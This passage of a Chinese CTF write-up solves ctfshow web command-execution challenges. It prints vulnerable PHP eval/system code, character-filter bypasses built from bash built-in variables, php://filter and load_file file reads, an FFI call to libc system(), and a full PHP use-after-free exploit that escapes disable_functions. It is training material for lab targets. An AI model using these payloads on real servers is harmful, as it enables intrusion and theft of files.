# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

可知flag在 36.php 里面,所以要想办法构造 36

bash 复制代码
echo $(()) = 0
对其按位取反
echo $((~$(()))) = -1
按位取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上⾯的按位取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1

$(())是⽤来作整数运算
如a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())能进⾏的运算有
+ - * / 加、减、乘、除
% 余数运算
& | ^ ! AND、OR、XOR、NOT运算

负数的 按位取反 是其 绝对值减1

所以我们只要构造出 -37,然后按位取反就能得到 36

使用python生成

python 复制代码
print("$((~$(("+"$((~$(())))"*37+"))))")

payload

php 复制代码
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看源代码


web58

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
bash 复制代码
c=print_r(scandir(dirname('__FILE__')));

可以查看到当前目录,可以使用 复制、重命名等

(system被禁用了 >__<)

payload

bash 复制代码
c=show_source("flag.php");
c=highlight_file("flag.php");
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=copy("flag.php","a.txt");         #之后访问/a.txt
c=rename("flag.php","b.txt");       #之后访问/b.txt

web59

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=highlight_file("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=print_r(file("flag.php"));

web60

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=highlight_file("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

#参考web40无参rce
c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web61

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web62

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web63

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web64

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web65

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

file_get_contents() has been disabled

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web66

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source()被禁用了

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

发现flag换位置了

查看当前目录下文件

bash 复制代码
c=var_dump(scandir('.'));
c=print_r(scandir("."));

没有其他发现

查看根目录下的文件

bash 复制代码
c=var_dump(scandir('/'));
c=print_r(scandir("/"));

在根目录下找到flag.txt

payload

bash 复制代码
c=highlight_file('/flag.txt');
c=require("/flag.txt");

web67

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

print_r被禁用

同web66

bash 复制代码
c=highlight_file('/flag.txt');
c=require("/flag.txt");

web68

html 复制代码
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

好几个函数被禁用了

payload

bash 复制代码
c=include("flag.php");echo $flag;

print_r 也被禁用了

查看根目录下文件

bash 复制代码
c=var_dump(scandir("/"));
bash 复制代码
c=include("/flag.txt");    #此时flag.txt里面没有变量flag
c=require("/flag.txt");

web69

php 复制代码
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

这一题的 print_r var_dump highlight_file 都被禁用了

题解一

查看根目录 payload

bash 复制代码
c=var_export(scandir("/"));

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

题解二

bash 复制代码
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}

#opendir("/") 打开根目录,readdir($a) 循环读取该目录下的文件,echo $b 输出每个文件名,帮助查找目标文件。

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

web70

php 复制代码
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

题解一

查看根目录 payload

bash 复制代码
c=var_export(scandir("/"));

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

题解二

bash 复制代码
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

web71

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

代码的意思是

eval($c) 执行用户提交的代码 $_POST['c']

ob_get_contents(); 获取输出缓冲区的内容 / ob_get_contents() 用来获取之前通过 echoprint 输出的内容。

eval() 执行后,如果有输出,它会被存储在 $s 变量中。

ob_end_clean(); 关闭并清理输出缓冲区。它将会清除所有缓冲的内容(即清除 $s 中的内容),不再输出。

使用 preg_replace()$s 中的内容进行正则替换:

最终输出经过替换的结果,所有字母和数字都被替换成了 ?

而利用exit()可以让前面的语句执行完就退出,而不需要执行后面的语句。

php 复制代码
c=var_export(scandir("/"));exit();
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名
bash 复制代码
c=include("/flag.txt");exit();
c=require("/flag.txt");exit();

web72

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

和上一题是有区别的

这道题只有这个命令可以查询根目录文件

bash 复制代码
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

flag文件名改变了,flag0.txt

当想用 c=include("/flag0.txt);exit();" 时,发现有 open_basedir 限制

html 复制代码
Warning: include(): open_basedir restriction in effect. File(/flag0.txt) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

open_basedir :将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如 fopen()file_get_contents() 打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

用uaf脚本来命令执行,脚本( c= 之后)要进行URL编码

POC脚本

php 复制代码
c=function ctfshow($cmd) {     #在这里修改传入的参数
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if (!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for ($j = $s - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i = 0; $i < $m; $i++) {
            $out .= sprintf("%c", ($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c", ($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if ($s != 8) {
            $leak %= 2 << ($s * 8) - 1;
        }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for ($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if ($p_type == 1 && $p_flags == 6) {
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if ($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }
        if (!$data_addr || !$text_size || !$data_size) return false;
        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for ($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if ($deref != 0x746e6174736e6f63) continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if ($deref != 0x786568326e6962) continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for ($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if ($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if ($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while ($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .
                           'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if (stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .
                                    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');

    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };

    if (strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);

    if (!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if (!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if (!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if (!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for ($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");    #在这里修改flag文件名
ob_end_flush();

web73

题解一

查看根目录文件

bash 复制代码
c=var_export(scandir("/"));exit();
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

flag文件名是flagc.txt,输出flag

bash 复制代码
c=include("/flagc.txt");exit();
c=require("/flagc.txt");exit();

题解二

post

bash 复制代码
c=include($_GET[a]);exit();

GET

bash 复制代码
?a=php://filter/convert.base64-encode/resource=/flagc.txt

web74

scandir 被禁用了

题解一

查看根目录文件

bash 复制代码
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

flag文件名是flagx.txt,输出flag

bash 复制代码
c=include("/flagx.txt");exit();
c=require("/flagx.txt");exit();

题解二

(要先扫根目录)post

bash 复制代码
c=include($_GET[a]);exit();

GET

bash 复制代码
?a=php://filter/convert.base64-encode/resource=/flagx.txt

web75

查看根目录下文件(scandir opendir 不能用了

bash 复制代码
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b->__toString()." ");}exit();

这道题 include require 都不能用了

利用mysql的load_file()来查看文件

用mysql做,post c=脚本

mysql 复制代码
try{
    $db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");
    foreach($db->query('select load_file("/flag36.txt")') as $row)/*这里修改flag文件名*/ 
    {
        echo ($row[0])."|";
    }
    $db = null;
}
catch(PDOException $e)
{
    echo $e->getMessage();
    exit(0);
}
exit(0);

web76

opendir() 不行了

查看根目录下文件

bash 复制代码
c=var_export(scandir("glob:///*"));exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b-> __toString()." ");}exit();

flag文件名为 flag36d.txt

利用mysql的load_file()来查看文件

脚本

mysql 复制代码
try{
    $db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");
    foreach($db->query('select load_file("/flag36d.txt")') as $row)/*这里修改flag文件名*/ 
    {
        echo ($row[0])."|";
    }
    $db = null;
}
catch(PDOException $e)
{
    echo $e->getMessage();
    exit(0);
}
exit(0);

web77

查看根目录下文件( opendir() 用不了)

bash 复制代码
c=var_export(scandir("glob:///*"));exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b-> __toString()." ");}exit();

flag文件名为 flag36x.txt

再次使用上一题的脚本发现无法得到flag

因为不能回显,所以利用重定向将 readflag内容输出到其他地方

php 复制代码
c=$ffi=FFI::cdef("int system(const char *system);", "libc.so.6");
$a="/readflag > flag2.txt";   /*这里修改要输出的文件名*/
$ffi->system($a);
exit();

之后访问 /flag2.txt

这个解法是一个利用 PHP 的 FFI 技术(Foreign Function Interface) 来调用底层 C 标准库函数 system() 的 命令执行漏洞利用技巧,结合参数注入直接拿到服务器上的 flag 文件。

php 复制代码
解析

c=$ffi=FFI::cdef("int system(const char *system);", "libc.so.6");
/*
告诉 PHP:
"我想用 libc 这个 C 标准库里的 system 函数,它长这样:int system(const char *cmd);这样,PHP 就为你加载了一个 system() 的函数,叫 $ffi->system(),可以直接用了
*/


$a="/readflag > flag2.txt";
/* 
/readflag 是CTF靶机提供的一个程序,作用就是 输出 flag
> 是 shell 的重定向符号,意思是:把执行结果写入某个文件
所以这个命令执行后,服务器上就会出现一个新文件:flag2.txt,里面就是 flag 内容*/

$ffi->system($a);
/*让服务器执行 /readflag,并把 flag 写进 flag2.txt 文件*/

exit();
/*直接退出,防止执行后续的 PHP 代码*、

web118

题目给的提示:

由题目知 flag位于 flag.php

查看源代码,知道从输入框 输入的内容 就成了 system命令里所谓的 $code

尝试输入,发现有一些输入会回显 evil input,存在过滤

抓包,尝试找到 被过滤 / 没被过滤 的字符

很明显,大写字母 和 # $ . ; ? @ _ { } ~ 没有被过滤

小写字母和数字都被过滤了

不管怎样,我们最终的目的是不变的,就是要想办法构造一个命令,能达到 tac flag.php 的效果

首先看看这些 利用bash内置变量

bash 复制代码
#PWD:输出当前所在路径
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/home/user

#从下标1开始,截取长度为3位的字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:1:3}
hom

#从下标3后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:3}
me/user

#从下标4后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:4}
e/user

#从下标5后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:5}
/user

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:A}
/home/user

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:B}
/home/user

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:G}
/home/user

#取反号~:输出最后1个字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:~0}
r

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:~J}
r

#输出可执行程序搜索路径
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

要利用这种方法构造出想要的命令,肯定要求我们的命令简洁简短,这样容易构造,因为条件有限

比如对于 cattacmorelessheadtailnlsedsortuniqrev,这些命令,我们肯定要选 nl ,不妨看看上面指令 echo ${PATH} ,输出内容中的最后一个字符就是 n ,那么利用 echo ${PWD:A} 就很容易构造出来 n

于是,我们目标明确,利用内置变量,构造出命令 nl flag.php

根据题目给的这张图,当前目录 /var/www/html ,目录的最后一个字母是 l

所以,${PATH:~A}${PWD:~A} 等价于 nl

空格和小写字母被过滤,用 ${IFS} 和 通配符 ? 代替

${PATH:~A}${PWD:~A}${IFS}????.???

等价于 ${PATH:~0}${PWD:~0} ????.???

等价于 nl flag.php

payload

shell 复制代码
#nl flag.php
#nl ????.???
${PATH:~A}${PWD:~A}${IFS}????.???

其他payload

bash 复制代码
#输出可执行程序搜索路径
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# ${#}是0
user@LAPTOP-HHK0H1KL:~$ echo ${#}
0

# SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开 shell 时 ${SHLVL}=1
#然后在此 shell 中再打开一个 shell 时 ${SHLVL}=2
user@LAPTOP-HHK0H1KL:~$ echo ${SHLVL}
1

user@LAPTOP-HHK0H1KL:~$ echo ${SHLVL}
1

#输出当前目录
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/home/user

# ${#PWD}是回显字符数
user@LAPTOP-HHK0H1KL:~$ echo ${#PWD}
10

#等价与 echo ${PWD:0:1} ,即 /
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:${#}:${SHLVL}}
/

# ${RANDOM}一般是一个4~5位的随机数
user@LAPTOP-HHK0H1KL:~$ echo ${RANDOM}
1998

user@LAPTOP-HHK0H1KL:~$ echo ${RANDOM}
30785

user@LAPTOP-HHK0H1KL:~$ echo ${HOME}
/home/user

# 因此 ${#RANDOM}一般是4/5
user@LAPTOP-HHK0H1KL:~$ echo ${#RANDOM}
4

user@LAPTOP-HHK0H1KL:~$ echo ${#RANDOM}
5

# TERM 是一个环境变量,表示当前终端类型常见值有:xterm、xterm-256color、linux、screen、dumb
user@LAPTOP-HHK0H1KL:~$ echo ${TERM}
xterm-256color

#取字符串长度
user@LAPTOP-HHK0H1KL:~$ echo ${#TERM}
14

#输出可执行程序搜索路径(为了方便看,不用往上翻^_^)
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
bash 复制代码
# (根据题目给的payload反向推理) 题目附件的网址 "yu-love" 合理推测这道题靶机的输出
yu-love@LAPTOP-HHK0H1KL:~$ echo ${HOME}
/home/yu-love

#取字符串长度
yu-love@LAPTOP-HHK0H1KL:~$ echo ${#HOME}
13

(其实本质上都是构造 nl flag.php)

构造 nl ?l??.???

${PATH:13:1}${PATH:4:1} ?${PATH:4:1}??.???

等价于${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

但是由于这里用了 RANDOM,所以需要多试几次

(而且这里的空格不用换成 ${IFS} 也可以过!!)

payload

bash 复制代码
#nl flag.php
#nl ?l??.???
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

测试后发现,在上一题的基础上过滤了 PATH

此时要想构造 nl 就比较难了,尝试用 /bin/base64

目标:构造 /bin/base64 flag.php/???/?????4 ????.???

于是,剩下的工作就是利用内置变量替换 /4

bash 复制代码
#输出可执行程序搜索路径  (靶机的 路径)
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/var/www/html

目标:${PWD:0:1}???${PWD:0:1}?????${#RANDOM} ????.???

---> ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}?????${#RANDOM} ????.???

最终的payload (由于使用了 RANDOM ,所以需要多试几次)

bash 复制代码
#/bin/base64 flag.php
#/???/?????4 ????.???
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
(${##}=1)

其他payload

bash 复制代码
其他 bash 内置变量
${USER} : www-data
${#IFS} : 3
${#}    : 0
${##}   : 1
${###}  : 0
${####} : 0

可以尝试 /bin/cat flag.php

这里 php版本是 7.3.22 ,可以利用 ${PHP_VERSION:~A} 获取 数字 2

/bin/cat flag.php

---> /???/?at flag.php

(或者:/???/?a? flag.php PS:这个 乱码>___< 乱码>___<)

---> ${PWD:0:1}???${PWD:0:1}?${USER:~2:2} ????.???

(或者:${PWD:0:1}???${PWD:0:1}?${USER:~0}? ????.??? PS:这个乱码>___<)

---> ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

(或者:${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? PS:这个乱码>___< 乱码>___<)

bash 复制代码
#/bin/cat flag.php
#/???/?at flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

${PWD::${##}}???${PWD::${##}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

#/bin/cat flag.php
#/???/?a? flag.php
#这个出来乱码>___<   乱码>___<    乱码>___<   乱码>___<
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${USER:~A}? ????.???

${PWD::${##}}???${PWD::${##}}?${USER:~A}? ????.???

#/bin/rev flag.php
#/???/r?? ????.???
